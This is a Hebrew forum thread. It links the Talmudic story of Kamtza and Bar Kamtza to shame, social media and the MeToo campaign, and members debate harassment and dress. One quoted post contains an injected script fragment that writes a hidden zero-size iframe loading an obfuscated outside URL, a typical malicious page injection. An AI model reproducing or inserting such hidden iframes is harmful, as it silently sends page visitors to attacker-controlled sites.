| נשלח ב-22/7/2018 11:53 |
 |
| |
האם פייסבוק היתה מצילה את המקדש?
נכון שזו כותרת מוצלחת? מה הקשר? ובכן – יש. נעיין מחדש בסיפור העתיק על קמצא ובר קמצא, ויתכן שנמצא בו משהו חדש, שמקבל משמעות מועצמת בדורנו, לרע – ואולי גם לטוב. אבל קודם כל הסיפור, למי ששכח, בתירגומי לעברית: על קמצא ובר קמצא חרבה ירושלים. אותו האיש אוהבו נקרא קמצא ושונאו היה בר קמצא. הכין משתה. אמר לשמשו: לך והבא לי את קמצא. הלך והביא לו את בר קמצא. בא (בעל הבית) ומצאו (לבר קמצא) יושב. אמר לו: כיון שאתה שונא שלי, מה אתה עושה כאן? צא! אמר לו: כיון שבאתי, הנח לי, ואתן לך את דמי מה שאוכל ואשתה. אמר לו: לא. אמר לו: אתן לך את דמי כל הסעודה כולה. אמר לו: לא. תפס בידו והקימו והוציאו. אמר (בר קמצא): היות וישבו חכמים ולא מחו בו (בבעל הבית), מכאן שנוח להם בכך. אלך ואלשין עליהם לקיסר! הלך ואמר לקיסר: מרדו בך היהודים. (גיטין נה ב – נו א) המשכו של הסיפור חשוב לי רק לנקודה אחת ולכן אני מתמצת אותו. איך רצה בר קמצא להוכיח שמרדו היהודים? ביקש קרבן מהקיסר, כי הקרבת קרבן של גויים היא שאלה בהלכה – ועל החובה לכבד את הקיסר היו ויכוחים והיו מרידות. בר קמצא קיבל להביא בהמה תמימה לקרבן, אבל עשה בה מום שהגויים אינם מכירים בו ואילו היהודים אוסרים להקריבו. התלבטו האחראים. היה ברור שאם יקריבו תהיה זו עבירה. אבל מה עדיף? להקריב למרות הכל? או להרוג את המלשין? רבי זכריה בן אבקולס פסל את שתי האפשרויות (ענוותנו החריבה את המקדש וגרמה לכל התוצאות, אומר רב יוסף בתלמוד הבבלי) וכך עשתה ההלשנה רושם והשאר כבר מסופר בספרי ההיסטוריה. וחרבה ירושלים.
 |
|
|
|
|
| נשלח ב-22/7/2018 11:54 |
|
| |
כוחה של בושה
מה היה הגורם הראשי לחורבן? ובכן, ה"פשט" לדעתי, כלומר המסר של הסיפור, הוא שלא היה גורם אחד ויחיד, אלא שילוב. הקב"ה רצה להחריב את ירושלים וכך היה מה שהיה. אבל בכל זאת, כל גורם ראוי לעיון בפני עצמו, וכל גורם מעיד על משהו שהיה לקוי בחברה הירושלמית היהודית של אז. השם "קמצא ובר קמצא" לא בא לומר מי אשם, אלא שזה היה האירוע הראשון, ולכן באים חז"ל לומר: ראו כיצד דבר כזה קטן התחיל את הכל. מה הניע את בר קמצא? במילה אחת: הבושה שלו. יתכן שקשה להבין עד כמה נפגע בר קמצא. יתכן שצריך לספק רקע על הסעודות שנהגו בימים ההם בירושלים, על חשיבותן, על המעמד של המשתתפים. ודומה שלא קשה לנו לדמיין את הפגיעה בבר קמצא הנזרק החוצה. אפשר שקיוה שאם הוזמן הרי שבעל הבית רוצה להתפייס איתו... לא שבר קמצא היה האדם הכי אסרטיבי. למשל, אם האמין שחכמים רואים את מצוקתו ושותקים, מדוע לא ניגש אליהם לבקש שיגנו עליו? האם בגלל שחשב שאין בזה טעם? זו חשיבה מזיקה! ושוב, צירוף של גורמים מביא לחורבן, ואין כאן דבר אחד ויחיד. אבל הכל התחיל בבושה שלו. בושה שלא זכתה להתייחסות מאף אחד. מה שאני כותב כאן, תחת הכותרת "כוחה של בושה", נאמר בתלמודנו בידי רבי אלעזר (שם נז א) תניא, אמר רבי אלעזר: בא וראה כמה גדולה כחה של בושה, שהרי סייע הקדוש ברוך הוא את בר קמצא, והחריב את ביתו ושרף את היכלו לפי רבי אלעזר, הקב"ה בא ואומר דרך העונש, בר קמצא צודק. נעשה לו עוול! ועוד מקור מעניין, במדרש איכה מובאת אשמתו של רבי זכריה בן אבקולס באופן אחר. איני מתרגם למרות שיש הבדלים מעניינים, אבל סימנתי בהדגשה את ההבדל המעניין ביותר עבורי כאן. איכה רבה (וילנא) פרשה ד מעשה שהיה באדם אחד בירושלים שעשה סעודה אמר לבן ביתו לך והבא לי קמצא רחמי, אזל ואייתי ליה בר קמצא שנאיה, עאל וישב בין האורחים, עאל אשכחיה ביני אריסטייא, אמר לו את שנאי ואת יתיב בגו ביתאי קום פוק לך מיגו ביתאי, אמר לו אל תביישני ואנא יהיב לך דמי דסעודתא, אמר לו לית את מסובה, אמר לו אל תביישני ואנא יתיב ולית אנא אכיל ושתי, אמר לו לית את מסובה, אמר ליה אנא יהיב דמי כל הדין סעודתא אמר ליה קום לך, והיה שם ר' זכריה בן אבקולס והיתה ספק בידו למחות ולא מיחה מיד נפיק ליה אמר בנפשיה אילין מסביין יתבין בשלוותהון אנא איכול קרצהון, מה עבד הלך אצל השלטון אמר לו אילין קורבנייא דאת משלח ליהודאי למקרבינהו אינון אכלין להון ומקרבין אוחרנים בחילופייהו, נזף ביה, אזל לגביה תוב אמר ליה כל אילין קורבניא דאת משלח ליהודאי למקרבינהו אינון אכלין להון ומקרבין אוחרין בחילופייהו ואם לא תאמין לי שלח עמי חד איפרכו וקורבנייא ואת ידע מיד שאיני שקרן, עד דאתייא באורחא דמך איפרכו, קם הוא בליליא ועשאן כולן בעלי מומין בסתר, כיון שראה אותן הכהן הקריב אוחרנין תחתיהון אמר ההוא שליחא דמלכא למה לית את מקריב אילין קורבניא אמר ליה למחר, אתא יום תליתאה ולא קרבהון, שלח ואמר למלכא ההוא מילתא דיהודאה קאמר קושטא קאמר מיד סליק למקדשה והחריבו, הדא דבריאתא אמרין בין קמצא ובין בן קמצא חרב מקדשא, אמר ר' יוסי ענותנותו של ר' זכריה בן אבקולס שרפה את ההיכל לפי הגרסה הזו, אחריותו של רזב"א לחורבן היתה לא לאחר מכן, בדילמה אם להקריב או לא את הקרבן הפסול, אלא בשעת המסיבה, שראה רזב"א את העלבון ולא התערב. ולפי ר' יוסי כאן, רזב"א אכן ראה ושתק, והיה זה מתוך ענוותנות, "מה לי ולהתערב" ואולי "מי אני שאתערב". שורה אחרונה: מבין הגורמים הרבים שתרמו לחורבן, בושתו של אדם אחד סובבה את הכל.
|
|
|
|
|
| נשלח ב-22/7/2018 11:54 |
|
| |
פייסבוק מושיעה את בר קמצא
הבה נדמיין לעצמנו מה היה קורה אילו בר קמצא היה נזרק מביתו של עשיר ירושלמי, מאמצע המסיבה. מה היה קורה? ברור. הוא היה מפרסם את הסיפור בפייסבוק. הסיפור היה זוכה ללייקים. היו מפיצים אותו. הוא היה הופך לויראלי. יתכן שרבים היו מגיעים להפגין ליד ביתו של העשיר המשליך. יתכן שלא. אבל בוודאי שהיו עושים לו שיימינג רציני מאד. וכמובן, בר קמצא היה זוכה לחיבוקים וירטואליים. אולי היו פותחים עבורו מבצע לגיוס כספים. בוודאי היה מקבל הזמנות למסיבות אחרות. היו מראיינים אותו בטלויזיה בתור "מי שנזרק"... הנושא היה מצריך תגובה של דוברי היהדות הדתית והחרדית. תרגיל מעניין: נסו לדמיין מה היו כותבים הטובים והגרועים שבין הדוברים הקבועים בתחום. (אני באמת הייתי רוצה לקרוא מה הרב חיים נבון היה כותב על זה ב"מקור ראשון"). ומה היו כותבים בעצור כאן חושבים? מה היה כותב מיימוני? רגע, זו רק ההתחלה. יתכן שהיה נפתח קמפיין "גם אני" ואולי היה נודד גם לאמריקה. "ME TOO". היה נוצר האשטאג (אופן פירסום בפייסבוק, גם אני לא ידעתי עד שגיליתי). הנה ציטוט לדוגמא של אחד הנפגעים מהעדר התגובה של חכמים. מי יתן לי תלמיד חכם ואנשכנו כחמור! (פסחים מט ב). המצוטט הוא עקיבא, רועה צאן פשוט שאפילו לא זכה ללמוד אלף-בית בגלל עוניו ומוצאו. הוא תמיד חשב את הדברים לעצמו, אבל לא העז לומר אותם בקול רם, עד שמישהו לימד אותו לכתוב בפייסבוק. (מעניין: האם עקיבא היה הולך אחר כך ללמוד תורה למרות הרושם הרע שנוצר סביב חכמים?). איום ונורא, נכון? כל ההתנפלות הלא מוצדקת על חכמים, חילול השם בארץ ובעולם. הניצול של הסיפור בידי עיתונאים ואויבי הדת וכו' וכו'. דבר אחד לא היה קורה. בר קמצא לא היה הולך להלשין לקיסר, מפני שהיה מקבל תמיכה דרך פייסבוק. היתה מן הסתם התקפה רבתי על חכמים שרואים ושותקים, והם עצמם מתנשאים על הציבור, או נראים כך (כל מי שמחזיק מעצמו "חבר" אינו יושב בסעודה עם עמי ארצות ואינו אוכל איתם יחד, גם בגלל עקרונות מופשטים של "טהרה"). אבל – המקדש היה נשאר. לפחות האירוע הזה לא היה מביא לחורבן.
|
|
|
|
|
| נשלח ב-22/7/2018 11:56 |
|
| |
רגישות יתר והטוב שמאחוריה
שיהיה ברור: איני מצדד בקמפיין של "גם אני". כן, אני בהחלט סבור שצריך לגונן על כל מי שפגיע מפני מי שפוגע. אבל אני גם חושד שהקמפיין אינו מבדיל בין אירועים להשמצות, והוא גם מביא לתגובות יתר, לפגיעות שאינן מידתיות. (אי אפשר להכחיש את ההתקפות, מאמינים כמעט תמיד לצד אחד, ההטרדות לפעמים אינן אלא נסיון שהיה מקובל "להתחיל" עם בחורה, העונשים הם מרחיקי לכת, כמו פיטורים של מנכ"ל) כל זה צריך דיון רחב ואיני מעוניין להיכנס לזה. הנה דוגמא מהבוקר. באמריקה הגדולה, מעוז הדמוקרטיה, רוקח לא כיבד מרשם של טרנסג'נדרית. היא התלוננה, הנושא תפס כותרות, והרוקח פוטר. הנה דיווח אחד. https://www.indepent.co.uk/news/world/americas/cvs-pharmacist-fired-transger-woman-hormone-therapy-preion-hilde-hall-arizona-a8457226.html לפי הגרסה כאן, הרוקח ביזה אותה בכך ששאל אותה בקול רם "למה את צריכה את המרשם הזה?" וכו' וכו'. מה עשתה הנפגעת? פירסמה. וזה ויראלי. והרוקח פוטר. מסוכן למדי לכתוב מה שאני חושב על התופעה. ואולי באמת הרוקח נהג בחוסר רגישות כאשר לא רק סירב (אולי זו זכותו לסרב שירות אם זה המקום שלו) אלא בכך שדן בנושא בקול רם. אבל מה שקרה הוא שהנפגעת זכתה מייד לפיצוי דרך אהדה ותמיכה ואפילו עונש לרוקח. הבושה הפכה לנושא מרכזי בחיינו. האם פתרנו כבר את כל הבעיות האחרות? ודאי שלא. יש חוסר פרופורציה מוקצן בכך שמעניקים מקום כה רב לעוול שבבושה. ועדיין יש כאן נקודה חיובית שאפשר לזהות את התחלתה בסיפור של בר קמצא. פייסבוק והקמפיינים של "נפגעתי, נעלבתי, עזרו לי" הם האופן של המאה ה21 להגיב על סיפורי בר קמצא. אז מה יותר גרוע? חורבן המקדש או עליית הפייסבוק והשיימינג ברשתות החברתיות? בהחלט אפשר לטעון שהתרופה גרועה מן המחלה, כפי שהחורבן היה תוצאה מוקצנת מאד מבושתו של איש אחד ויחיד. ובכל זאת, אפשר לראות ברגישות שמופגנת בפייסבוק – ולעתים באופן חיובי מאד, ראו את הסיפורים על מסיבות משפחתיות, כמו בת מצוה או בר מצוה או סתם יום הולדת או חתונה, שאין מספיק אורחים, ואת ההיענות – תיקון למעשה בר קמצא. דבר אחד אני רוצה להדגיש, כשאני נשען על רבי אלעזר כדי שלא יאמרו שזו המצאה שלי: בושה של אדם יכולה להיות גרועה מספיק כדי לגרום לחורבן. הקב"ה מקפיד על בושה של כל אחד ואחד. ובידנו לשנות.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
|
| נשלח ב-23/7/2018 07:50 |
|
| |
| מיימוני כתב: |  | שיהיה ברור: איני מצדד בקמפיין של "גם אני". כן, אני בהחלט סבור שצריך לגונן על כל מי שפגיע מפני מי שפוגע. אבל אני גם חושד שהקמפיין אינו מבדיל בין אירועים להשמצות, והוא גם מביא לתגובות יתר, לפגיעות שאינן מידתיות. (אי אפשר להכחיש את ההתקפות, מאמינים כמעט תמיד לצד אחד, ההטרדות לפעמים אינן אלא נסיון שהיה מקובל "להתחיל" עם בחורה, העונשים הם מרחיקי לכת, כמו פיטורים של מנכ"ל) כל זה צריך דיון רחב ואיני מעוניין להיכנס לזה. < type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
[מיימוני,
לא כדאי לבלבל בין תחושות בטן ועובדות. רוב רובם של האנשים שאליהם הופנה קמפיין "גם אני" ממש לא נפגעים ממנו. מעשיהם מתפרסמים ברבים, אבל הם ממשיכים לעבוד, ממשיכים להרוויח כסף רב, וסביר שגם ממשיכים לפגוע. חלקם אולי בויישו קצת ברבים (האם זה חמור יותר ממה שהם עשו??), אבל לחלק מהם הבושה היא גם סוג של פרסום.
נערה הייתי וגם בגרתי ולא נתקלתי באישה שלא עברה סוג כלשהו של הטרדה. לא הכל באותה רמת פגיעה ובודאי שלא הכל ברמה של פגיעה גופנית. ועדיין, תסתכל סביבך וראה כמה גברים "נפגעו" מן הקולות של "גם אני"? הרבה מאלה שחשים נפגעים, מסבירים שהפגיעה היא בכך שעכשיו הם לא יכולים לעשות את מה שהיו רגילים אליו. אוי ואבוי, כמה עצוב. כמו שאמרו חכמות לפניי: לבעלי זכויות יתר, חתירה לשוויון נדמית כפגיעה בזכויות שלהם.
מי שמתלוננים שכעת אי אפשר יותר להחמיא לבחורה - על מה בדיוק התלונה? לא שמעתי מעולם תלונה של אישה על כך ש*לא* שרקו לה ברחוב או צבטו לה בישבן; לא שמעתי מעולם תלונה של אישה על כך ש*לא* העירו לה (אפילו הערה "טובה") על המחשוף או על אורך החצאית. ממתי פעולת ההחמאה היא זכותו של המחמיא? האם היא לא אמורה להיות לטובת המוחמא/ת? ואם המוחמאת חשה אי נוחות או פגיעה מן הפעולה, מדוע יש הנחת יסוד שלמחמיא יש זכות לעשות זאת?]
|
|
|
|
| נשלח ב-23/7/2018 08:33 |
|
| |
לא העליתי בדעתי שזה יהיה הכיוון, אבל ניחא.
אמשלום - ברוכה השבה, שוב! - כתבה
אם המוחמאת חשה אי נוחות או פגיעה מן הפעולה, מדוע יש הנחת יסוד שלמחמיא יש זכות לעשות זאת?
זו נקודה חשובה מאד.
אני מעז להציע השערה מתחום הסוציולוגיה והתקשורת הבין אישית, בלי שלמדתי את הנושא הזה.
צורת הלבוש וההתנהגות שלנו יוצרת ציפיות בחברה הפרטית שבה אנו נעים. אם אני מתלבש כמו חרדי, אני מציג את עצמי כמי שניתן או לא ניתן לפנות אליו באופן מסויים, למטרות מסויימות, וכו'. זו לא בהכרח הכוונה היחידה שלי בצורת הלבוש שלי, אבל זה מה שהלבוש אומר. לכן, אומרת הבדיחה החבוטה, חרדי שרוצה ללכת לקולנוע, שיחליף לכיפה מסוג אחר... אולי הבדיחה כבר מתארת מצב שאינו קיים.
מה אומרים מחשוף או חצאית קצרה? מה הם אמרו לפני הקמפיין של "גם אני"? האם הם לא שידרו: ראה כמה אני יפה. יותר מזה, "אני זמינה למחמאות" או אפילו "אני רוצה הצעות"?
אני מעז לכתוב זאת למרות שאפשר מאד שאני טועה. איני מכיר את החברה שבה יש מחשופים ומסתבר שיש הבדל בין מחשופים בחברה הפריזאית של מלכי צרפת, לבין מחשופים בחברה שבה כבר הילדה לומדת שזו צורת הלבוש. לפיכך, הבחירה במחשוף או בחצאית קצר או בכל בגד פתוח לתצפית יכולה להתפרש בתור הזמנה למחמאה או ל"אני מחפשת קשר" או בתור "אני מתלבשת כמו כולן" אבל "אין לי שום כוונה להעמיד את עצמי כחלק משוק הנשים שלא התפכחו".
בכל אופן, אם אנו מקבלים שבחירת לבוש מסוג מסויים מעבירה מסרים - אמירה שאינה כבולה רק לפרשנות של בגדים קצרים או חושפניים - ואם בתרבות המקובלת - והמוצגת דרך סוכני הפרשנות, כלומר סרטים ומודעות - בגד קצר הוא הזמנה לכל הפחות למחמאה - אזי מי שפירש את הבגד לפי הצורה המקובלת לא עשה עוול. הוא הגיב בהתאם לציפיות.
תאמרי: זה בדיוק מה שהקמפיין בא לשנות, ליצור את האבחנה ש"אני אתלבש איך שאני ארצה" ואתם לא תניחו מראש שאני חלק מהעדר רודף המחמאות - אז בסדר. אבל אז עלינו לקבל את המחיר המשתמע. היו שתי תקופות. לפני ואחרי הקמפיין. לפני הקמפיין, המשמעות של בגד מסוג מסויים (אני משער שלא רק קצר אלא גם "מזמין" באיזה אופן) היא: אני מעוניינת. לאחריו, זהירות, כל הזכרים, זכרו שהתרבות כבר אינה מאפשרת את הפירוש המילוני: בגד מסוג מסויים - מוכנות לקבלת מחמאות או הצעות לקשר בצורה כזו. אולם אז אין מקום לבוא בטענות למי שהתחנך לפני הקמפיין. כולם היו תינוקות שנשבו.
לגבי השאלה העובדתית כמה גברים סבלו מנקמת יתר על הטרדות במינון פחות מזיק, וכמובן מהו "פחות מזיק", אין לי נתונים. יש לי כותרות. הרושם שלי הוא שיש מפורסמים שאיבדו את עבודתם לא על כפיית יחסים עם אשה אלא על התבטאויות שנחשבות היום פוגעניות. איני יודע מה המספרים.
בחזרה אל סיפור בר קמצא - יש משהו משותף בין התופעות וזה הבלבול בין הציפיות לבין התגובות. בחברה המשתנה של היום, הציפיות של גברים הן שהאשה מחכה למחמאה, שהעולם הוא, לפעמים, מקום למפגש והצעות לחיזור. אולי זה משהו שהפסיכולוגיה האבולוציונית תסביר. ציפיות אלו הובילו ליחס מסויים, שלכל הפחות אפשר לכנותו "מחפיץ", אבל לעתים הוא נבע בתמימות מפרשנות של התנהגות ולבוש או אפילו ממשהו שמונח בגנים, במבנה המוח או באותו מקום שהאבולוציוניסטים מזהים בתור מקור מרכזי לתגובות האוטומטיות שלנו. בכל אופן, יש כאן סתירה בין הציפיות האלו לבין מערכת הזכויות של האשה לא להיות אובייקט להצעות והתייחסויות כאלו. צריך רק לזכור שהעמידה על הזכויות האלו היא חדשה יחסית. וכולם היו תינוקות שנשבו.
אצל בר קמצא, הבלבול היה מקומי ואישי. הוא הוזמן להגיע. הוא האמין כנראה שבעל הבית החליט לפתוח ביניהם דף חדש. בעל הבית הבהיר לו, בצורה גסה, שאין לו מה לחפש שם. אמנם בר קמצא היה בבית של אחר, אבל הוא נכנס לשם על פי הזמנה. אפשר להבין את הצד של בעל הבית. יתכן שזה בייש אותו שבר קמצא יושב שם כאילו זכותו להיות שם. אולי בר קמצא פגע מאד בו או במשפחתו קודם לכן - אין לנו הכרות עם הפרקים הקודמים בסדרה (אם יורשה הדימוי הזה). ברור שלתפוס מישהו ולהוציא אותו בכוח זו הגנה על זכותי לארח את מי שאני רוצה אבל גם פגיעה במישהו שנכנס ברשות שניתנה לו, גם אם בטעות.
סבורני שיש כאן התחלה של עיון בשאלה הבאה: אסור לבייש. אבל מה קורה אם יש התנגשות בין פרשנויות. שני הצדדים נהגו לפי המקובל, לפי הציפיות הלגיטימיות של אותו הרגע, והזמן בכלל והמקום.
אז הנה לקח נוסף: כשאנו רוצים לפתור את הבלבול, למרות שאנו חשים פגועים, יתכן שעלינו להבליג ולחפש דו שיח עם קביעת כללים חדשים.
אולי היה עדיף להבדיל בין שני קמפיינים. "גם אני" על הפגיעות של העבר" ו"גם אני אדם" שיחלק את העולם לשנים: נשים שרוצות התייחסות כאדם ולא כאשה הזמינה לחיזור לבין אלו שכן מעוניינות בכך. (מה עושים עם נשים שבטפשותן רוצות חיזור, או מחמת חינוך לקוי - והאם הן באמת טועות והאם התירבות שלהן פסול - זו עוד שאלה).
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
|
| נשלח ב-23/7/2018 08:45 |
|
| |
.
ואיי, מיימוני,
רציתי לכתוב לך "איך בין מויחה", על מה שכתבת על קמפיין ה"גם אני", אבל אז באה הודעתך השניה, ו...
...לפעמים ההתנצלות על המעשה, גרועה מהמעשה עצמו, וד"ל.
|
|
|
|
|
| נשלח ב-23/7/2018 13:33 |
|
| |
מואדיב
לא הבנתי למה הסכמת ולמה לא.
אשר לקמפיין הזה, זה יוצר מחשבות מורכבות ומעורבבות, והכלל שלי בפורום - שאי אפשר לצערי לתרגם לחיים המעשיים - הוא להפריד, חוט חוט, ולבדוק. טוב או רע, נכון או לא נכון, ועל סמך מה.
ואם אצטרך להתבייש במה שאני כותב ולא לכתוב, גם זה לא טוב.
אז אני מסכם שוב כדי שיהיה ברור מה אני מנסה לומר.
א. יש קמפיין "גם אני" שבו, לפי המעט שאני יודע, נשים מתלוננות על רמות שונות של הטרדה, מאונס ופגיעה פיזית ועד מעשים פחות דורסניים, כמו סוג של מגע קל שפעם היה מקובל, אצל הלא דתיים בוודאי, בתור נסיון לראות "את מסכימה". או שהוא היה סתם השתררות של הגבר "כי אני יכול אז למה לא" וזה "גברי". כך לפחות נראה מסיפורים שונים מתקופות שונות, שהם הרבה פעמים מקור הידע שלי ואולי של אחרים על תרבויות אחרות.
ויש תלונות על מבטים, על חיוך, על אמירות.
נגד מה הקמפיין יוצא ומה המידרג של התלונות, ומה שכיחותן, ועד כמה אפשר לבדוק אם הן אמיתיות. כל זה איני יודע. אמשלום טוענת שהיא מכירה יותר ממני. סביר.
ב. מה הקמפיין הזה משקף? מה הגישות שהוא מקדם? אפשר להשתמש באוסף המידע שמרכז הקמפיין בתור קידום לאג'נדות שונות. עם חלקן או מיעוטן אני מסכים. עם רובן לא. אבל צריך לפרט ובעיקר לנמק. ואז צריך להיכנס לדיונים על טיבה של חברה או תרבות אידיאלית ולהצדיק, במידת האפשר, את הערכים האלו, או לנסות לספר עליהם כדי לעורר הד רגשי אצל השומע (כפי שהרב סולוביצ'יק עושה ביחס לאמונה הדתית).
אני נקטתי את הקמפיין הזה בתור דוגמא, מפני שגם בהתחשב בביטויים הקיצוניים שלו - והדגמתי מתוכו שתי דוגמאות שעליהן שמעתי, אפילו אני, מתוך החדשות כדי להראות שגם בתגובות מוקצנות, בעיני, יש משהו מוצדק באופן בסיסי, ומתחתי קו בין הרגש הזה לבין מה שעבר על בר קמצא.
עד כמה שהבנתי, אמשלום טוענת שאיני מכיר את הקמפיין ואת האירועים שאליהם הוא מתייחס כמעט כלל. שוב, יתכן שהיא צודקת. איני מתיימר לידיעה בתחום שאיני מכיר ואני אפילו משתדל לא לקרוא את תכניו מטעמי קדושה (סליחה על הביטוי אבל נדמה לי שזה הכי מדוייק). כמו כן, אני משער שאמשלום מתכוונת לכך שגבר מעצם טבעו יתקשה להבין על מה נשים מדברות. וזו טענה פמיניסטית ידועה בתחום האפיסטמולוגיה. כוונתי שזו טענה שצריך לבדוק ולא ברור אם זה אפשרי. (האם אפשר לבדוק את המיסטיקן שמספר על חויות של "עין שלישית")?
עכשו אפשר למתוח ביקורת על הדעות שאני מחזיק בהן, על האמירות שאני כותב, וכו' וכו'.
ואני חושש מאד שהכוונה המקורית של האשכול אבדה, אבל זה בסדר. אשכולות נועדו לעורר דיון.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
|
| נשלח ב-23/7/2018 18:35 |
|
| |
[מיימוני, א. אתה לא מבחין בין שני ענינים חשובים ושונים בתכלית: מה האדם השני *אומר* ומה אני *שומע*. זה אכן לא תמיד פשוט להבדיל בין השניים, אבל זה הכרחי בכל תקשורת אנושית. אתה שואל מה דברים "משדרים", אבל תשובתך עוסקת בתשדורת שאתה שומע. הפיתרון: לשאול את האדם השני, ואולי אפילו לומר: "אני שומע X, האם לזה התכוונת?"
זה בדיוק "גם אני" – הפסיקו להניח שהקולות שבראשכם נוצרו ע"י האנשים שמולכם. תשאלו, תבררו.
הבעיה: אם אינך מכיר בכך שאנשים אחרים חושבים, מרגישים, נוהגים אחרת ממך, לעולם לא תעלה בדעתך שהקולות שבראשך אינם כלל הקולות שהאדם השני משמיע. ב. "נקמת יתר" הוא ביטוי מגוחך. כשאתה טוען ל"יתר" אתה מניח שהפגיעה אינה חמורה כ"כ. אתה טועה. הפגיעות עליהן מתלוננים נשים וגברים הן חמורות ביותר, גם אם אינן פיזיות. וגרוע מכך – הן מצטברות. וגרוע עוד יותר – אנשים כמותך חושבים שהן שטותיות, נקמניות, בכייניות וכו'. זו אחת המטרות המוצהרות של "גם אני" - הקשיבו ותראו כמה הפגיעות האלה נפוצות, כמה אנחנו שותפים להן (לעתים בלי כוונה, לפעמים פשוט מחוסר תשומת לב). בואו נקשיב ונגלה עד כמה סובלות וסובלים אנשים בסביבתנו הקרובה, עד כמה הייתה ויש עדיין הדחקה של הכאב שלהם. בואו נקשיב ונראה שמי שפגע ופוגע בהם ראוי לגינוי אמיתי, לכעס, ללקח - כי בזה נמדדת חברה, באופן שבו היא מגינה באמת על הפגועים שבתוכה ולא באיך היא מתגייסת להגן על הפוגעים. (האם תתגייס להגן על גנב שצריך לשלם על פשעו או על מי שנגנב לו רכושו?) ג. לבוש אינו קריטריון לכלום. מי שאינו רואה את האדם מולו כאדם, בעל רגשות ומחשבות, דעה ודעת, לא יתנהג אליו בכבוד רב יותר אם יהיה מכוסה ברעלה מכף רגל עד ראש. נשים חרדיות, מוסלמיות, או אחרות, שמקפידות על לבוש מסתיר עד בלי היכר צורת גוף, מוטרדות, נפגעות ונאנסות לא פחות מנשים בביקיני. כפי שכבר כתבתי כאן בפורום הזה חזור וכתוב (על בסיס מחקרים וסטטיסטיקות וכו'), להטרדה ולפגיעה ולאונס אין שום קשר ליצר המין. הפגיעות האלה נובעות אך ורק מיצר הכוח, מן הרצון לשלוט ומן התחושה ש"מותר לי" ושלאדם שמולי אין יכולת או זכות להתנגד לכך. ד. "גם אני" הוא קמפיין שנועד בראש ובראשונה כדי לאפשר לאנשים ונשים שהשתיקו את עצמם – מחמת הבושה, הפחד, תחושת הבדידות ("רק לי זה קרה, אז אולי אני הלא נורמלי") והאשמה – להשמיע את קולם. עצם השמעת הקול היא סוג של העצמה, והיא חודרת לאוזניים של מי שהתעקשו לא לשמוע, וגם של מי שמחמת חירשות זמנית או סתם חוסר רגישות לא שמעו (והם ממש לא בהכרח אנשים רעים). "גם אני אדם" דורש קמפיין?? הרי זו בדיוק הבעיה – האם לא ברור מאליו שגם אני אדם? האם אני צריכה לצעוק זאת? ה. אתה חוזר ומדבר על "חיזור", אבל מה שאתה מגן עליו זו "חזירות". אני לא מכירה אישה שתתלונן על כך שגבר ישאל אותה היא מעוניינת בתשומת הלב שלו. אני מכירה נשים רבות שסובלות מכך שאותו הגבר נענה פעמים רבות בשלילה, אבל אינו מקשיב וחוזר שוב ושוב. לפעמים באופן שהוא כמעט אלים. זה לא חיזור, זו הטרדה, ובמקרים מסוימים אפילו סוג של תקיפה. ושוב - לא שמעתי מעולם מישהי שהתלוננה על כך שמישהו שאיין לה איתו קשר אינטימי *לא* החמיא לה, *לא* העיר לה על מה שלבשה ו*לא* חיזר אחריה. מי שמתלונן על כך ש"אי אפשר יותר לחזר" הם גברים שחושבים שזה נעים לנו, או כאלה שזה לא מעניין אותם אם זה נעים לנו או לא. ו. מעודי לא טענתי (שוב – אתה שם מילים בפי ומניח שהקולות שאתה שומע באים ממני...) ש"גבר מעצם טבעו יתקשה להבין על מה נשים מדברות". אני חושבת שזו שטות. אם כולנו בני אדם, אזי למרות השוני בינינו אנחנו מסוגלים להבין רגשות של אדם אחר. אבל זה דורש מאמץ, הקשבה, תשומת לב, ובעיקר – רצון. אני לא חושבת שלגברים יש פחות כאלה מלנשים. ועכשיו, אני מקוה (גם בזכות "גם אני"), יש להם גם מודעות.]
|
|
|
|
|
| נשלח ב-23/7/2018 21:53 |
|
| |
אוקיי
אז הנושא הוא "גם אני".
כמה הערות על ההערות.
א
אמשלום כותבת
אתה לא מבחין בין שני ענינים חשובים ושונים בתכלית: מה האדם השני *אומר* ומה אני *שומע*. זה אכן לא תמיד פשוט להבדיל בין השניים, אבל זה הכרחי בכל תקשורת אנושית. אתה שואל מה דברים "משדרים", אבל תשובתך עוסקת בתשדורת שאתה שומע
לא, ממש לא. אני טוען טענה לגבי תקשורת בחברה ולגבי התרבות שהיתה קיימת עד לפני כמה זמן. בתרבות ההיא, צורת לבוש וצורת התנהגות העבירו מסר. ההבנה של המסר לא היתה כרוכה בהתלבטות. כפי שידוע לך בוודאי - ביטוי שנאסר אגב להשתמש בו אבל בפורום עדיין מותר - מילים בשפה יש להן משמעות משלהן. אם אדם אומר או כותב משפט ואחר כך מתלונן מדוע פירשו את המשפט לפי השפה הרגילה, סבורני שאנו מסכימים שהיה עליו להיזהר.
אני טענתי שבתרבות מנצלת הנשים והאנטי פמיניסטית היו פרשנויות ברמה ראשונית. לא היה מקום לבוא בטענות על אי הבנות או פרשנות שאינה טורחת להקשיב. המסרים לא נאמרו במילים, אבל הם עדיין נאמרו.
היום זה אחרת. אולי זה עדיף. אולי אסור לומר "אולי". אבל אז, שנים או עשרות שנים אחורה, כך זה היה.
אמשלום כתבה
הבעיה: אם אינך מכיר בכך שאנשים אחרים חושבים, מרגישים, נוהגים אחרת ממך, לעולם לא תעלה בדעתך שהקולות שבראשך אינם כלל הקולות שהאדם השני משמיע.
אני כשלעצמי משתדל מאד להיות פתוח למשמעויות ולגלות רגישות. זה לא אומר שאני מצליח. יותר מכך, בגלל רקע פילוסופי ספקני, וגם בגלל מה שלמדתי בגמרא, אני סבור כמוך. שאנשים לא תמיד ערים למה שהמילים שלהם והמסרים שלהם אומרים. שהם אינם מתכוונים. שצריך לתת להם הזדמנות, בנושאים חשובים ורגישים, להביע את עצמם שוב, לשאול למה הם התכוונו בדיוק.
